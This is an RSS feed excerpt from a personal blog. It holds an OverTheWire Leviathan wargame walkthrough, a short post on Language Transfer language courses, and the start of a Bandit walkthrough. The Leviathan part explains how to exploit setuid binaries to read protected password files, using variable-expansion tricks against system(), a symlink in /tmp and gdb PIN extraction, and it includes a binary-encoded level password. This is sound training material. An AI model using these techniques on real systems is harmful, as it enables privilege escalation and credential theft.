&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.man7.org&#x2F;linux&#x2F;man-pages&#x2F;man3&#x2F;snprintf.3p.html&quot;&gt;&lt;code&gt;snprintf&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;, and
&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;man7.org&#x2F;linux&#x2F;man-pages&#x2F;man3&#x2F;system.3.html&quot;&gt;&lt;code&gt;system&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;images&#x2F;otw-leviathan&#x2F;2_try_print_bashrc.png&quot; alt=&quot;level 2 run printfile&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Attempting to read another file for which we have read permissions, e.g.
&lt;code&gt;.bashrc&lt;&#x2F;code&gt;, shows that &lt;code&gt;printfile&lt;&#x2F;code&gt; executes the shell command &lt;code&gt;&#x2F;bin&#x2F;cat &amp;lt;FILEPATH&amp;gt;&lt;&#x2F;code&gt;  when the &lt;code&gt;access&lt;&#x2F;code&gt; function call succeeds where &lt;code&gt;&amp;lt;FILEPATH&amp;gt;&lt;&#x2F;code&gt; is
whatever you pass as the first argument to &lt;code&gt;printfile&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;blockquote class=&quot;markdown-alert-note&quot;&gt;
&lt;p&gt;The above output was truncated since the &lt;code&gt;.bashrc&lt;&#x2F;code&gt; file is actually quite long.
In fact, you might want to redirect stdout to &lt;code&gt;&#x2F;dev&#x2F;null&lt;&#x2F;code&gt; to only display the
results from &lt;code&gt;ltrace&lt;&#x2F;code&gt;. Just to make it a bit more readable.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;images&#x2F;otw-leviathan&#x2F;2_ltrace_dev_null.png&quot; alt=&quot;level 2 ltrace &#x2F;dev&#x2F;null output&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h4 id=&quot;the-setuid-bit&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#the-setuid-bit&quot; aria-label=&quot;Anchor link for: the-setuid-bit&quot;&gt;The setuid bit&lt;&#x2F;a&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;We saw this in the previous level as well, but I wanted to call attention to
the fact that &lt;code&gt;printfile&lt;&#x2F;code&gt; has the &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Setuid&quot;&gt;&lt;code&gt;setuid&lt;&#x2F;code&gt;
bit&lt;&#x2F;a&gt; set.&lt;&#x2F;p&gt;
&lt;p&gt;We can even see the function call to &lt;code&gt;setreuid&lt;&#x2F;code&gt; which will set the real and
effective user ID for the process. This level and the last are showcasing the
dangers of giving any file setuid permissions. Without it &lt;code&gt;printfile&lt;&#x2F;code&gt; wouldn’t
be able to access the password file for level 3.&lt;&#x2F;p&gt;
&lt;p&gt;Our goal is to craft some input to &lt;code&gt;printfile&lt;&#x2F;code&gt; such that the &lt;code&gt;system&lt;&#x2F;code&gt; call will
execute for the password file (&lt;code&gt;&#x2F;etc&#x2F;leviathan_pass&#x2F;leviathan3&lt;&#x2F;code&gt;). But, to reach
that point, the path passed in must also be readable by the &lt;code&gt;leviathan2&lt;&#x2F;code&gt; user.&lt;&#x2F;p&gt;
&lt;p&gt;With that in mind, one method we can use to trick &lt;code&gt;printfile&lt;&#x2F;code&gt; is by providing a
path with a variable. This way the variable will be expanded when the path is
passed to the &lt;code&gt;system&lt;&#x2F;code&gt; function, but will be interpreted literally by the call
to &lt;code&gt;access&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;blockquote class=&quot;markdown-alert-tip&quot;&gt;
&lt;p&gt;When attacking the input of a program, always try to identify different points
of entry. In this case there are two points at which the input path is passed
into the program. The first is to the call to &lt;code&gt;access&lt;&#x2F;code&gt; and the second to
&lt;code&gt;system&lt;&#x2F;code&gt;. Both of these functions process input differently. When you have
multiple points like this without some sort of input validation or
normalization, there’s always an opportunity to disrupt the expected behavior
of the program.&lt;&#x2F;p&gt;
&lt;p&gt;On the flip-side of this, as a developer this showcases why input validation is
such an important concept. Never implicitly trust user input.&lt;&#x2F;p&gt;
&lt;p&gt;More specifically for this level, &lt;code&gt;system&lt;&#x2F;code&gt; should never be used in a setuid
program and user input should never be passed directly to a call to &lt;code&gt;system&lt;&#x2F;code&gt;
without sanitization. The &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.man7.org&#x2F;linux&#x2F;man-pages&#x2F;man3&#x2F;system.3.html&quot;&gt;&lt;code&gt;system&lt;&#x2F;code&gt; manual
page&lt;&#x2F;a&gt; explicitly warns
against this practice due to the potential for compromising system security.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;images&#x2F;otw-leviathan&#x2F;2_system_manual_caveat.png&quot; alt=&quot;system manual caveat&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h4 id=&quot;solution-2&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#solution-2&quot; aria-label=&quot;Anchor link for: solution-2&quot;&gt;Solution&lt;&#x2F;a&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;images&#x2F;otw-leviathan&#x2F;2_solution.png&quot; alt=&quot;level 2 solution&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;level-3&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#level-3&quot; aria-label=&quot;Anchor link for: level-3&quot;&gt;Level 3&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;This challenge is almost identical to &lt;a href=&quot;https:&#x2F;&#x2F;www.cblanken.dev&#x2F;blog&#x2F;overthewireleviathan&#x2F;#level-1&quot;&gt;level 1&lt;&#x2F;a&gt;, except that you are
dropped into a shell where you can easily &lt;code&gt;cat&lt;&#x2F;code&gt; the password file for level 4.&lt;&#x2F;p&gt;
&lt;p&gt;The intended solution for level 1 probably differs slightly from the one
provided here since having near duplicate solutions usually isn’t done by
wargame and CTF authors.&lt;&#x2F;p&gt;
&lt;p&gt;Either way, this one is left as a challenge to the reader. Have fun!&lt;&#x2F;p&gt;
&lt;h3 id=&quot;level-4&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#level-4&quot; aria-label=&quot;Anchor link for: level-4&quot;&gt;Level 4&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;In this level, we have some more hidden files. In the &lt;code&gt;.trash&lt;&#x2F;code&gt; directory is
another setuid binary.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;images&#x2F;otw-leviathan&#x2F;4_binary.png&quot; alt=&quot;level 4 binary&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;images&#x2F;otw-leviathan&#x2F;4_ltrace.png&quot; alt=&quot;level 4 ltrace&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h4 id=&quot;solution-3&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#solution-3&quot; aria-label=&quot;Anchor link for: solution-3&quot;&gt;Solution&lt;&#x2F;a&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;All the leviathan challenges are possible without any programming, but in this
case, you could also solve it with a short python script.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;python&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#AF3A03, #8BA4B0);&quot;&gt;print&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;   &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #8BA4B0);&quot;&gt;join&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;      [&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#AF3A03, #8BA4B0);&quot;&gt;chr&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B57614, #8EA4A2);&quot;&gt;int&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#504945, #8BA4B0);&quot;&gt;x&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #A292A3);&quot;&gt; 2&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#9D0006, #8992A7);&quot;&gt; for&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#504945, #8BA4B0);&quot;&gt; x&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#9D0006, #8992A7);&quot;&gt; in&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;00110000 01100100 01111001 01111000 01010100 00110111 01000110 00110100 01010001 01000100 00001010&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #8BA4B0);&quot;&gt;split&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;   )&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;This script splits the text into a list of binary numbers and converts each
binary number into decimal with &lt;code&gt;int(x, 2)&lt;&#x2F;code&gt;. Each integer is then translated
into the corresponding ASCII letter with the &lt;code&gt;chr&lt;&#x2F;code&gt; function before joining each
letter back into a single string.&lt;&#x2F;p&gt;
&lt;p&gt;Of course it’s also possible to translate it by hand with an &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.rapidtables.com&#x2F;code&#x2F;text&#x2F;ascii-table.html&quot;&gt;ASCII
table&lt;&#x2F;a&gt; though you’ll
need to convert the binary numbers into either hexadecimal or decimal. Another
option is to use one of the many online translators, for example &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.rapidtables.com&#x2F;convert&#x2F;number&#x2F;binary-to-ascii.html&quot;&gt;Binary to
Text
Translator&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;level-5&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#level-5&quot; aria-label=&quot;Anchor link for: level-5&quot;&gt;Level 5&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;images&#x2F;otw-leviathan&#x2F;5_first_run.png&quot; alt=&quot;level 5 first run&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;It looks like the binary expects a file at &lt;code&gt;&#x2F;tmp&#x2F;file.log&lt;&#x2F;code&gt;. Let’s make that
file with some dummy content and &lt;code&gt;ltrace&lt;&#x2F;code&gt; the binary to see what’s going on.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;images&#x2F;otw-leviathan&#x2F;5_ltrace_with_log_file.png&quot; alt=&quot;level 5 first run&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;We have two important things going on in this binary.&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;The contents of the &lt;code&gt;&#x2F;tmp&#x2F;file.log&lt;&#x2F;code&gt; are being printed.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;&#x2F;tmp&#x2F;file.log&lt;&#x2F;code&gt; is deleted. See the &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.man7.org&#x2F;linux&#x2F;man-pages&#x2F;man2&#x2F;unlink.2.html&quot;&gt;&lt;code&gt;unlink&lt;&#x2F;code&gt; manual
page&lt;&#x2F;a&gt; for details.&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;The deletion of the file is less of a concern since we can remake the file as
needed. More importantly, we have control of the file being printed.&lt;&#x2F;p&gt;
&lt;h4 id=&quot;solution-4&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#solution-4&quot; aria-label=&quot;Anchor link for: solution-4&quot;&gt;Solution&lt;&#x2F;a&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;Obviously we don’t care too much about the content of &lt;code&gt;&#x2F;tmp&#x2F;file.log&lt;&#x2F;code&gt;. But,
what if, we could link &lt;code&gt;&#x2F;tmp&#x2F;file.log&lt;&#x2F;code&gt; to a more interesting file. Like
&lt;code&gt;&#x2F;etc&#x2F;leviathan_pass&#x2F;leviathan6&lt;&#x2F;code&gt; for example.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;images&#x2F;otw-leviathan&#x2F;5_solution.png&quot; alt=&quot;level 5 solution&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Here we’ve simply made a symbolic link to &lt;code&gt;&#x2F;etc&#x2F;leviathan_pass&#x2F;leviathan6&lt;&#x2F;code&gt; and
placed the link file at &lt;code&gt;&#x2F;tmp&#x2F;file.log&lt;&#x2F;code&gt;. When &lt;code&gt;leviathan5&lt;&#x2F;code&gt; is executed, the
link is followed to the password file for the next level which is printed to
stdout.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;level-6&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#level-6&quot; aria-label=&quot;Anchor link for: level-6&quot;&gt;Level 6&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;Hopefully you’ve gotten the hang of the first few steps now.&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;Check for interesting files in the home directory&lt;&#x2F;li&gt;
&lt;li&gt;Execute the binary and provide any required input&lt;&#x2F;li&gt;
&lt;li&gt;Run the binary via &lt;code&gt;ltrace&lt;&#x2F;code&gt; to see what function calls it’s making&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;images&#x2F;otw-leviathan&#x2F;6_first_run_ltrace.png&quot; alt=&quot;level 6 binary identification and ltrace&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Blast it, this time they’ve managed to foil our use of &lt;code&gt;ltrace&lt;&#x2F;code&gt;. There’s
clearly some sort of check going on to verify the input code. We can probably
assume the check is happening in a simple &lt;code&gt;if&lt;&#x2F;code&gt; statement comparing the input
code to some hardcoded number. Which would explain why it doesn’t show up in
&lt;code&gt;ltrace&lt;&#x2F;code&gt; since no library function call is being made.&lt;&#x2F;p&gt;
&lt;p&gt;At this point we’re reaching beyond the capabilities of most basic Linux
commands. Instead you may have to reach for something like
&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.man7.org&#x2F;linux&#x2F;man-pages&#x2F;man1&#x2F;gdb.1.html&quot;&gt;&lt;code&gt;gdb&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;, the GNU
Debugger. The debugger will allow you to step through the program one
instruction at a time. Unfortunately it does require you understand a bit about
C and &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Assembly_language&quot;&gt;Assembly language&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;images&#x2F;otw-leviathan&#x2F;6_gdb_asm1.png&quot; alt=&quot;level 6 gdb assembly 1&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;In the disassembly of &lt;code&gt;leviathan6&lt;&#x2F;code&gt; above there are a few important lines.&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;At line &lt;code&gt;main+76&lt;&#x2F;code&gt; we can see the function call to &lt;code&gt;atoi&lt;&#x2F;code&gt; which you should
recognize from the preliminary analysis with &lt;code&gt;ltrace&lt;&#x2F;code&gt;. Another important
concept to understand is that for x86 binaries like this one, the return
results of functions are usually assigned to the &lt;code&gt;eax&lt;&#x2F;code&gt; register.&lt;&#x2F;li&gt;
&lt;li&gt;A &lt;code&gt;cmp&lt;&#x2F;code&gt; instruction which is comparing the returned value of the &lt;code&gt;atoi&lt;&#x2F;code&gt;
function call in &lt;code&gt;eax&lt;&#x2F;code&gt; to another value on the stack at &lt;code&gt;[ebp-0xc]&lt;&#x2F;code&gt;.&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;Use the &lt;code&gt;run&lt;&#x2F;code&gt; command to start the program. The program will begin executing
and stop at the first breakpoint it finds.&lt;&#x2F;p&gt;
&lt;p&gt;After the program stops, we can examine the arguments of the &lt;code&gt;cmp&lt;&#x2F;code&gt; instruction.
The command &lt;code&gt;info registers&lt;&#x2F;code&gt; will display the values for all the registers, or
the target register can be passed as an argument as shown below.&lt;&#x2F;p&gt;
&lt;p&gt;The format for the register listing is &lt;code&gt;register name | hexadecimal | decimal&lt;&#x2F;code&gt;.
You can see the decimal representation matches the PIN provided to the program
&lt;code&gt;1234&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;The other argument to &lt;code&gt;cmp&lt;&#x2F;code&gt; is a bit trickier. It’s actually using a pointer.
Meaning the value at &lt;code&gt;ebp - 0xc&lt;&#x2F;code&gt; is actually a memory address and it must be
dereferenced to examine the value. The &lt;code&gt;x&lt;&#x2F;code&gt; command can be used to examine
memory like this. You can read more in the &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;sourceware.org&#x2F;gdb&#x2F;current&#x2F;onlinedocs&#x2F;gdb.html&#x2F;Memory.html&quot;&gt;Examining Memory
section&lt;&#x2F;a&gt; of
the &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;sourceware.org&#x2F;gdb&#x2F;current&#x2F;onlinedocs&#x2F;gdb.html&#x2F;index.html&quot;&gt;GDB
documentation&lt;&#x2F;a&gt;,
but, in summary, the command used here (&lt;code&gt;x&#x2F;1d $ebp-0xc&lt;&#x2F;code&gt;) examines the memory at
the address computed by subtracting &lt;code&gt;0xc&lt;&#x2F;code&gt; from the value in the &lt;code&gt;ebp&lt;&#x2F;code&gt; register.
One integer value at the resolved memory address is then printed to the console
thanks to the display format of &lt;code&gt;1d&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;images&#x2F;otw-leviathan&#x2F;6_gdb_breakpoint_pin.png&quot; alt=&quot;level 6 gdb breakpoint pin&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;conclusion&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#conclusion&quot; aria-label=&quot;Anchor link for: conclusion&quot;&gt;Conclusion&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;You can do quite a lot with just some basic terminal commands.&lt;&#x2F;p&gt;
&lt;p&gt;Supposedly all the Leviathan levels are possible without any programming
knowledge, so I suspect &lt;a href=&quot;https:&#x2F;&#x2F;www.cblanken.dev&#x2F;blog&#x2F;overthewireleviathan&#x2F;#level-6&quot;&gt;level 6&lt;&#x2F;a&gt; has a simpler intended solution.&lt;&#x2F;p&gt;
&lt;p&gt;Either way, know your tools. I think &lt;code&gt;ltrace&lt;&#x2F;code&gt; in particular is useful for
understanding the actions of a binary without needing to resort to tools for
debugging and reverse engineering like gdb or Ghidra.&lt;&#x2F;p&gt;
&lt;blockquote class=&quot;markdown-alert-warning&quot;&gt;
&lt;p&gt;Don’t forget to clean up any files you’ve created.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;rm -rf &#x2F;tmp&#x2F;MY_TEMP_DIRECTORY&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
</description>
      </item>
      <item>
          <title>Language Transfer and The Thinking Method</title>
          <pubDate>Thu, 07 Nov 2024 00:00:00 +0000</pubDate>
          <author>Cameron Blankenbuehler</author>
          <link>https://www.cblanken.dev/blog/language-transfer/</link>
          <guid>https://www.cblanken.dev/blog/language-transfer/</guid>
          <description xml:base="https://www.cblanken.dev/blog/language-transfer/">&lt;p&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.languagetransfer.org&quot;&gt;Language Transfer&lt;&#x2F;a&gt; is an incredible project
by Mihalis Eleftheriou to teach not only languages but a method of learning.&lt;&#x2F;p&gt;
&lt;p&gt;First off, the &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.languagetransfer.org&#x2F;courses&quot;&gt;free courses&lt;&#x2F;a&gt; are
excellent. The recordings are available on the web, but the content is also
available through
&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;apps.apple.com&#x2F;us&#x2F;app&#x2F;language-transfer&#x2F;id1519599004&quot;&gt;Apple&lt;&#x2F;a&gt; and
&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;play.google.com&#x2F;store&#x2F;apps&#x2F;details?id=org.languagetransfer&quot;&gt;Android&lt;&#x2F;a&gt;
apps.&lt;&#x2F;p&gt;
&lt;p&gt;I’ve personally only completed the German course, but I intend to complete the
Spanish and French courses as well.&lt;&#x2F;p&gt;
&lt;p&gt;I think these courses exhibit a few important aspects of learning that make
them so effective.&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Student interaction and a call &#x2F; response methodology to engage students.&lt;&#x2F;li&gt;
&lt;li&gt;Pausing for reflection and forming connections. In fact it’s emphasized to
facilitate active recall of the material.&lt;&#x2F;li&gt;
&lt;li&gt;Repetition. Returning to previous content at appropriate intervals to improve
recall.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;Miahlis’s method makes it clear that’s &lt;em&gt;okay&lt;&#x2F;em&gt; to slow down and simply think deeply
about what you’re learning and not be in such a hurry to get everything right away.&lt;&#x2F;p&gt;
&lt;p&gt;I’ve found that when I pause and reflect more often just like Mihalis recommends,
my knowledge sticks around longer, it’s richer, and learning a language starts to
feel less like a race and more like a walk in the park.&lt;&#x2F;p&gt;
</description>
      </item>
      <item>
          <title>OverTheWire - Bandit</title>
          <pubDate>Sun, 20 Oct 2024 00:00:00 +0000</pubDate>
          <author>Cameron Blankenbuehler</author>
          <link>https://www.cblanken.dev/blog/overthewirebandit/</link>
          <guid>https://www.cblanken.dev/blog/overthewirebandit/</guid>
          <description xml:base="https://www.cblanken.dev/blog/overthewirebandit/">&lt;h2 id=&quot;introduction&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#introduction&quot; aria-label=&quot;Anchor link for: introduction&quot;&gt;Introduction&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;overthewire.org&#x2F;wargames&#x2F;bandit&#x2F;&quot;&gt;Bandit&lt;&#x2F;a&gt; is just one of several &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Wargame_(hacking)&quot;&gt;wargames&lt;&#x2F;a&gt; available at &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;overthewire.org&#x2F;&quot;&gt;overthewire.org&lt;&#x2F;a&gt;. It’s aimed at beginners to Linux and CTFs and provides an excellent introduction to the basics of the Linux command line.&lt;&#x2F;p&gt;
&lt;p&gt;In this walkthrough I’m going to show the process for solving each challenge while also providing some insight into what each challenge is trying to teach and why it’s useful, so keep an eye out for callouts like those below.&lt;&#x2F;p&gt;
&lt;blockquote class=&quot;markdown-alert-note&quot;&gt;
&lt;p&gt;Access to each Bandit level is made over SSH. The username will correspond to the index of the level starting at 0. Always make sure you’re logging into the correct Bandit level!&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;blockquote class=&quot;markdown-alert-warning&quot;&gt;
&lt;p&gt;If you’re looking for the solution of a particular level, you are highly encouraged to attempt it on your own before following this walkthrough. You will learn some useful things regardless, but attempting it on your own first will help the knowledge stick better. I promise.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;I have a few recommendations before getting started. Most of the OverTheWire Bandit levels provide links to potentially useful manual pages. Unfortunately the &lt;code&gt;man&lt;&#x2F;code&gt; pages can be somewhat cryptic, especially for beginners. For that reason I recommend the following steps to try to get unstuck when slogging through the &lt;code&gt;man&lt;&#x2F;code&gt; pages for any particular command.&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;Search for examples. Many &lt;code&gt;man&lt;&#x2F;code&gt; pages contain examples of their usage. These may be marked by all-caps &lt;code&gt;EXAMPLES&lt;&#x2F;code&gt; in some cases, but sometimes not.&lt;&#x2F;li&gt;
&lt;li&gt;If skimming through the man pages doesn’t surface any apparent examples, then you may want to refer to &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;cheat.sh&quot;&gt;cheat.sh&lt;&#x2F;a&gt;. Cheat.sh is a database of usage examples for thousands of command line programs. It can be searched from the main page or by simply adding a &lt;code&gt;&#x2F;&lt;&#x2F;code&gt; followed by the command. For example &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;cheat.sh&#x2F;ssh&quot;&gt;https:&#x2F;&#x2F;cheat.sh&#x2F;ssh&lt;&#x2F;a&gt; will return examples of &lt;code&gt;ssh&lt;&#x2F;code&gt; usage. This one can be helpful when trying to understand how a command is commonly used and which command flags are most useful.&lt;&#x2F;li&gt;
&lt;li&gt;If you’re struggling to understand some of the examples then paste them into &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;explainshell.com&quot;&gt;https:&#x2F;&#x2F;explainshell.com&lt;&#x2F;a&gt;. Explainshell provides a more readable breakdown of each command line flag and argument. This tool can save you a lot of time flipping back and forth through the &lt;code&gt;man&lt;&#x2F;code&gt; pages.&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;Please also note that for any terminal output, the command prompt will be truncated to a single &lt;code&gt;$&lt;&#x2F;code&gt; for brevity. Just remember that you’ll need to be logged in to the appropriate level before executing any of the commands.&lt;&#x2F;p&gt;
&lt;p&gt;For example:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ cat hello.txt&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Hello there!&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h2 id=&quot;logging-in&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#logging-in&quot; aria-label=&quot;Anchor link for: logging-in&quot;&gt;Logging in&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;blockquote&gt;
&lt;p&gt;The goal of this level is for you to log into the game using SSH. The host to which you need to connect is bandit.labs.overthewire.org, on port 2220. The username is bandit0 and the password is bandit0. Once logged in, go to the Level 1 page to find out how to beat Level 1.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
